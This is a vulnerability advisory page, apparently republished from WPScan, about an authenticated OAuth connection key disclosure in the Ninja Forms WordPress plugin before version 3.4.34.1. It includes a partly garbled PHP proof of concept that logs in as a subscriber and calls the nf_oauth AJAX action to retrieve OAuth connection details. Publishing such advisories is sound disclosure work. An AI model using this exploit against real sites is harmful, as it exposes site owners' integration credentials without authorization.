Lucene search

K
wpvulndbChloe ChamberlandWPVDB-ID:DFA32AFA-C6DE-4237-A9F2-709843DCDA89
HistoryFeb 16, 2021 - 12:00 a.m.

Ninja Forms < 3.4.34.1 - Authenticated OAuth Connection Key Disclosure

2021-02-1600:00:00
Chloe Chamberland
wpscan.com
5

0.001 Low

EPSS

Percentile

21.6%

Low-level users, such as subscribers, were able to trigger the action, wp_ajax_nf_oauth, and retrieve the connection url needed to establish a connection. They could also retrieve the client_id for an already established OAuth connection.

PoC

Usage: php poc.php subscriber password $wp_user, ‘pwd’ => $wp_pass, ‘rememberme’ => ‘forever’, ‘wp-submit’ => ‘Log+In’, ]); $output = curl_exec($ch); curl_close($ch); // Set redirect url $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . ‘/wp-admin/admin-ajax.php’); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ ‘action’ => ‘nf_oauth’, ]); $output = curl_exec($ch); curl_close($ch); print_r($output);

CPENameOperatorVersion
ninja-formslt3.4.34.1

0.001 Low

EPSS

Percentile

21.6%

Related for WPVDB-ID:DFA32AFA-C6DE-4237-A9F2-709843DCDA89